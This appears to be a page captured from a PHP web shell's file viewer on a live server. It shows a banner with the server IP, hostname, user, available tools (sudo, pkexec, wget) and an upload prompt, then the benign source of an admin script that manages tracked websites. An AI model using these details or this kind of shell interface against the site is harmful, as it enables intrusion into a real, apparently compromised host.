| Server IP : 213.255.246.8 / Your IP : 216.73.217.178 Web Server : Apache System : Linux dublin.stapolin.com 5.14.0-362.18.1.el9_3.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jan 29 07:05:48 EST 2024 x86_64 User : stapolin ( 1019) PHP Version : 8.4.24 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /home/stapolin/public_html/tracking.stapolin.com/admin/ |
Upload File : |
<?php
declare(strict_types=1);
require_once __DIR__ . '/../includes/bootstrap.php';
$currentUser = require_role(['super_admin', 'admin']);
verify_csrf();
$id = (int) ($_POST['id'] ?? 0);
$action = (string) ($_POST['action'] ?? '');
$website = db_fetch_one('SELECT * FROM websites WHERE id = ?', 'i', [$id]);
if ($website === null) {
http_response_code(404);
exit('Website not found.');
}
try {
if ($action === 'regenerate_key') {
db_execute('UPDATE websites SET secret_key = ?, updated_at = ? WHERE id = ?', 'ssi', [random_token(32), utc_now(), $id]);
audit_log((int) $currentUser['id'], 'website.key_regenerated', $id);
flash('success', 'Tracking key regenerated.');
} elseif ($action === 'disable') {
db_execute('UPDATE websites SET status = "disabled", updated_at = ? WHERE id = ?', 'si', [utc_now(), $id]);
audit_log((int) $currentUser['id'], 'website.disabled', $id);
flash('success', 'Website disabled.');
} elseif ($action === 'activate') {
db_execute('UPDATE websites SET status = "active", updated_at = ? WHERE id = ?', 'si', [utc_now(), $id]);
audit_log((int) $currentUser['id'], 'website.activated', $id);
flash('success', 'Website activated.');
} elseif ($action === 'archive') {
db_execute('UPDATE websites SET status = "archived", updated_at = ? WHERE id = ?', 'si', [utc_now(), $id]);
audit_log((int) $currentUser['id'], 'website.archived', $id);
flash('success', 'Website archived.');
} elseif ($action === 'delete') {
db_execute('DELETE FROM websites WHERE id = ?', 'i', [$id]);
audit_log((int) $currentUser['id'], 'website.deleted', $id, ['name' => $website['name']]);
flash('success', 'Website deleted.');
redirect('admin/websites.php');
} else {
flash('danger', 'Unknown website action.');
}
} catch (Throwable $exception) {
error_log($exception->getMessage());
flash('danger', 'The website action could not be completed.');
}
redirect('admin/websites-view.php?id=' . $id);